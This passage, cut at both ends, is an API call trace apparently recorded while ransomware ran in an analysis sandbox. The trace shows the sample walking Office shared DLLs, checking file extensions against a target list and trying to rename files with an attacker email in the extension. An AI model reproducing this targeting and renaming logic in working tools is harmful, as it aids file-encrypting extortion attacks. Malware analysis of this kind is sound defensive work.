shared\\office14\\mssoap30.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0218.838] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=705392) returned 1 [0218.838] CloseHandle (hObject=0x388) returned 1 [0218.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 0x20 [0218.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0218.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0218.860] lstrlenW (lpString=".doc") returned 4 [0218.860] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0218.860] lstrlenW (lpString=".docx") returned 5 [0218.860] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0218.860] lstrlenW (lpString=".pdf") returned 4 [0218.860] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0218.860] lstrlenW (lpString=".xls") returned 4 [0218.861] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0218.861] lstrlenW (lpString=".xlsx") returned 5 [0218.861] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0218.861] lstrlenW (lpString=".ppt") returned 4 [0218.861] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0218.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0218.861] lstrlenW (lpString=".zip") returned 4 [0218.861] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0218.861] lstrlenW (lpString=".rar") returned 4 [0218.861] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0218.861] lstrlenW (lpString=".bz2") returned 4 [0218.861] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0218.861] lstrlenW (lpString=".7z") returned 3 [0218.862] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0218.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0218.862] lstrlenW (lpString=".dbf") returned 4 [0218.862] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0218.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0218.862] lstrlenW (lpString=".1cd") returned 4 [0218.862] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0218.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0218.862] lstrlenW (lpString=".jpg") returned 4 [0218.862] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0218.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0218.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0218.863] lstrlenW (lpString=".doc") returned 4 [0218.863] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0218.863] lstrlenW (lpString=".docx") returned 5 [0218.863] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0218.863] lstrlenW (lpString=".pdf") returned 4 [0218.863] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0218.863] lstrlenW (lpString=".xls") returned 4 [0218.863] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0218.864] lstrlenW (lpString=".xlsx") returned 5 [0218.864] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0218.864] lstrlenW (lpString=".ppt") returned 4 [0218.864] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0218.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0218.864] lstrlenW (lpString=".zip") returned 4 [0218.864] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0218.864] lstrlenW (lpString=".rar") returned 4 [0218.864] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0218.864] lstrlenW (lpString=".bz2") returned 4 [0218.865] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0218.865] lstrlenW (lpString=".7z") returned 3 [0218.865] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0218.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0218.865] lstrlenW (lpString=".dbf") returned 4 [0218.865] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0218.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0218.865] lstrlenW (lpString=".1cd") returned 4 [0218.865] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0218.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0218.865] lstrlenW (lpString=".jpg") returned 4 [0218.865] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0218.866] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0218.866] lstrlenW (lpString="promointl.dll") returned 13 [0218.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0218.922] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=15760) returned 1 [0218.922] CloseHandle (hObject=0x388) returned 1 [0218.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 0x20 [0219.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0219.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0219.020] lstrlenW (lpString=".doc") returned 4 [0219.021] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0219.021] lstrlenW (lpString=".docx") returned 5 [0219.021] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0219.021] lstrlenW (lpString=".pdf") returned 4 [0219.021] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0219.021] lstrlenW (lpString=".xls") returned 4 [0219.021] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0219.021] lstrlenW (lpString=".xlsx") returned 5 [0219.022] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0219.022] lstrlenW (lpString=".ppt") returned 4 [0219.022] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0219.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0219.022] lstrlenW (lpString=".zip") returned 4 [0219.022] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0219.022] lstrlenW (lpString=".rar") returned 4 [0219.022] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0219.022] lstrlenW (lpString=".bz2") returned 4 [0219.022] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0219.022] lstrlenW (lpString=".7z") returned 3 [0219.022] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0219.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0219.023] lstrlenW (lpString=".dbf") returned 4 [0219.023] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0219.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0219.023] lstrlenW (lpString=".1cd") returned 4 [0219.023] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0219.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0219.023] lstrlenW (lpString=".jpg") returned 4 [0219.023] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0219.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0219.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0219.023] lstrlenW (lpString=".doc") returned 4 [0219.023] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0219.023] lstrlenW (lpString=".docx") returned 5 [0219.024] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0219.024] lstrlenW (lpString=".pdf") returned 4 [0219.024] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0219.024] lstrlenW (lpString=".xls") returned 4 [0219.024] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0219.024] lstrlenW (lpString=".xlsx") returned 5 [0219.024] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0219.024] lstrlenW (lpString=".ppt") returned 4 [0219.024] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0219.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0219.025] lstrlenW (lpString=".zip") returned 4 [0219.025] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0219.025] lstrlenW (lpString=".rar") returned 4 [0219.025] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0219.025] lstrlenW (lpString=".bz2") returned 4 [0219.025] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0219.025] lstrlenW (lpString=".7z") returned 3 [0219.025] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0219.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0219.025] lstrlenW (lpString=".dbf") returned 4 [0219.025] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0219.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0219.026] lstrlenW (lpString=".1cd") returned 4 [0219.026] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0219.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0219.026] lstrlenW (lpString=".jpg") returned 4 [0219.026] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0219.027] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0219.027] lstrlenW (lpString="RICHED20.DLL") returned 12 [0219.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0220.298] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=1870696) returned 1 [0220.298] CloseHandle (hObject=0x370) returned 1 [0220.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll")) returned 0x20 [0220.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0220.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0220.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0220.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0220.299] lstrlenW (lpString=".doc") returned 4 [0220.299] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.299] lstrlenW (lpString=".docx") returned 5 [0220.299] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0220.299] lstrlenW (lpString=".pdf") returned 4 [0220.299] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.299] lstrlenW (lpString=".xls") returned 4 [0220.300] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.300] lstrlenW (lpString=".xlsx") returned 5 [0220.300] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0220.300] lstrlenW (lpString=".ppt") returned 4 [0220.300] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0220.300] lstrlenW (lpString=".zip") returned 4 [0220.300] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.300] lstrlenW (lpString=".rar") returned 4 [0220.300] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.300] lstrlenW (lpString=".bz2") returned 4 [0220.300] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.300] lstrlenW (lpString=".7z") returned 3 [0220.301] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0220.301] lstrlenW (lpString=".dbf") returned 4 [0220.301] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0220.301] lstrlenW (lpString=".1cd") returned 4 [0220.301] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0220.301] lstrlenW (lpString=".jpg") returned 4 [0220.301] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0220.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0220.302] lstrlenW (lpString=".doc") returned 4 [0220.302] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.302] lstrlenW (lpString=".docx") returned 5 [0220.302] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0220.302] lstrlenW (lpString=".pdf") returned 4 [0220.302] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.302] lstrlenW (lpString=".xls") returned 4 [0220.302] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.302] lstrlenW (lpString=".xlsx") returned 5 [0220.303] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0220.303] lstrlenW (lpString=".ppt") returned 4 [0220.303] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0220.303] lstrlenW (lpString=".zip") returned 4 [0220.303] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.303] lstrlenW (lpString=".rar") returned 4 [0220.303] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.303] lstrlenW (lpString=".bz2") returned 4 [0220.303] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.303] lstrlenW (lpString=".7z") returned 3 [0220.303] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0220.303] lstrlenW (lpString=".dbf") returned 4 [0220.304] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0220.304] lstrlenW (lpString=".1cd") returned 4 [0220.304] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0220.304] lstrlenW (lpString=".jpg") returned 4 [0220.304] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.304] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0220.304] lstrlenW (lpString="STINTL.DLL") returned 10 [0220.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0220.796] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=17280) returned 1 [0220.796] CloseHandle (hObject=0x30c) returned 1 [0220.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll")) returned 0x20 [0220.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0220.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0220.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0220.797] lstrlenW (lpString=".doc") returned 4 [0220.797] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.797] lstrlenW (lpString=".docx") returned 5 [0220.797] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0220.797] lstrlenW (lpString=".pdf") returned 4 [0220.797] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.797] lstrlenW (lpString=".xls") returned 4 [0220.797] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.798] lstrlenW (lpString=".xlsx") returned 5 [0220.798] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0220.798] lstrlenW (lpString=".ppt") returned 4 [0220.798] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0220.798] lstrlenW (lpString=".zip") returned 4 [0220.798] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.798] lstrlenW (lpString=".rar") returned 4 [0220.798] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.798] lstrlenW (lpString=".bz2") returned 4 [0220.798] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.798] lstrlenW (lpString=".7z") returned 3 [0220.798] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0220.799] lstrlenW (lpString=".dbf") returned 4 [0220.799] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0220.799] lstrlenW (lpString=".1cd") returned 4 [0220.799] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0220.799] lstrlenW (lpString=".jpg") returned 4 [0220.799] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0220.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0220.800] lstrlenW (lpString=".doc") returned 4 [0220.800] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.800] lstrlenW (lpString=".docx") returned 5 [0220.800] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0220.800] lstrlenW (lpString=".pdf") returned 4 [0220.800] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.800] lstrlenW (lpString=".xls") returned 4 [0220.800] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.800] lstrlenW (lpString=".xlsx") returned 5 [0220.800] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0220.800] lstrlenW (lpString=".ppt") returned 4 [0220.801] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0220.801] lstrlenW (lpString=".zip") returned 4 [0220.801] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.801] lstrlenW (lpString=".rar") returned 4 [0220.801] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.801] lstrlenW (lpString=".bz2") returned 4 [0220.801] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.801] lstrlenW (lpString=".7z") returned 3 [0220.801] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0220.801] lstrlenW (lpString=".dbf") returned 4 [0220.801] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0220.802] lstrlenW (lpString=".1cd") returned 4 [0220.802] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned 72 [0220.802] lstrlenW (lpString=".jpg") returned 4 [0220.802] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.803] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0220.803] lstrlenW (lpString="FPERSON.DLL") returned 11 [0220.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0221.225] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=217984) returned 1 [0221.257] CloseHandle (hObject=0x394) returned 1 [0221.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll")) returned 0x20 [0221.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0221.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0221.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL") returned 68 [0221.258] lstrlenW (lpString=".doc") returned 4 [0221.258] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.258] lstrlenW (lpString=".docx") returned 5 [0221.258] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0221.258] lstrlenW (lpString=".pdf") returned 4 [0221.258] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.258] lstrlenW (lpString=".xls") returned 4 [0221.258] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.258] lstrlenW (lpString=".xlsx") returned 5 [0221.258] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0221.258] lstrlenW (lpString=".ppt") returned 4 